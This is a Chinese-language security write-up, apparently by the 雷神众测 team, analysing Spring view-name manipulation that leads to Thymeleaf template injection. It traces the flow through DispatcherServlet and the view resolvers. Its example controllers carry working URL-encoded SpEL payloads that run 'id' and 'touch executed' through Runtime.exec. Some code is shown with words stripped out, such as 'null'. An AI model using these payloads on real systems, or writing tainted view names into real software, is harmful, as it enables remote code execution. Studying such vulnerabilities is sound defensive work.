Spring 视图操纵漏洞

声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失 , 均由使用者本人负责 , 雷神众测以及文章作者不为此承担任何责任 。
雷神众测拥有对此文章的修改和解释权 。 如欲转载或传播此文章 , 必须保证此文章的完整性 , 包括版权声明等全部内容 。 未经雷神众测允许 , 不得任意修改或者增减此文章内容 , 不得以任何方式将其用于商业目的 。
No.1
概述
知识点起源于一个小哥的GitHub的demo , 已经在 Reference提及了 , 核心观点想要表达如果能操纵spring的视图(view)是一件很危险的事情 , 紧接着用到了Thymeleaf这个模版来举例子 。
No.2
跟踪过程
小哥在代码中举了两个例子 , 这两个例子分别是由相同的特征 , 返回的内容可被攻击者操纵 。
//GET /path?lang=en HTTP/1.1 //GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime.exec(%22id%22).getInputStream).next%7d__::.x @GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted } //GET /fragment?section=main //GET /fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime.exec(%22touch%20executed%22).getInputStream).next%7d__::.x @GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }这里先慢慢看 , spring的模版处理在这里 org.springframework.web.servlet.ViewView# render, 根据注释可以知道这个地方是个接口 , 要实现需要到相关模版渲染引擎单中去实现 。
/** * Render the view given the specified model. * The first step will be preparing the request: In the JSP case, this would mean * setting model objects as request attributes. The second step will be the actual * rendering of the view, for example including the JSP via a RequestDispatcher. * @param model a Map with name Strings as keys and corresponding model * objects as values (Map can also be {@code } in case of empty model) * @param request current HTTP request * @param response he HTTP response we are building * @throws Exception if rendering failed */ void render(@able Map model, HttpServletRequest request, HttpServletResponse response) throws Exception;}而实际上的处理过程是在 org.springframework.web.servlet.DispatcherServlet.render
protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception { ... View view; String viewName = mv.getViewName; if (viewName != ) { // We need to resolve the view name. view = resolveViewName(viewName, mv.getModelInternal, locale, request); if (view == ) { throw new ServletException("Could not resolve view with name '" + mv.getViewName + "' in servlet with name '" + getServletName + "'"); } } ... try { if (mv.getStatus != ) { response.setStatus(mv.getStatus.value); } view.render(mv.getModelInternal, request, response); }跟一下流程 , 首先在String viewName = mv.getViewName;的过程中就获取到我们传入的POC 。
Spring 视图操纵漏洞文章插图
紧接着进行view = resolveViewName(viewName, mv.getModelInternal, locale, request);处理 , 这个 resolveViewName , 当从英文翻译就知道它大概要解析视图名字 , 当然本着严谨的角度还是需要看代码的 , 跟进来之后会来到ContentNegotiatingViewResolver# resolveViewName 当中 , 关注一下getCandidateViews
public View resolveViewName(String viewName, Locale locale) throws Exception { RequestAttributes attrs = RequestContextHolder.getRequestAttributes; Assert.state(attrs instanceof ServletRequestAttributes, "No current ServletRequestAttributes"); List requestedMediaTypes = getMediaTypes(((ServletRequestAttributes) attrs).getRequest); if (requestedMediaTypes != ) { List candidateViews = getCandidateViews(viewName, locale, requestedMediaTypes); View bestView = getBestView(candidateViews, requestedMediaTypes, attrs); if (bestView != ) { return bestView; } }先跟进来 getCandidateViews , 这玩意会循环当前的this.viewResolvers 内容 , 并且进行处理 。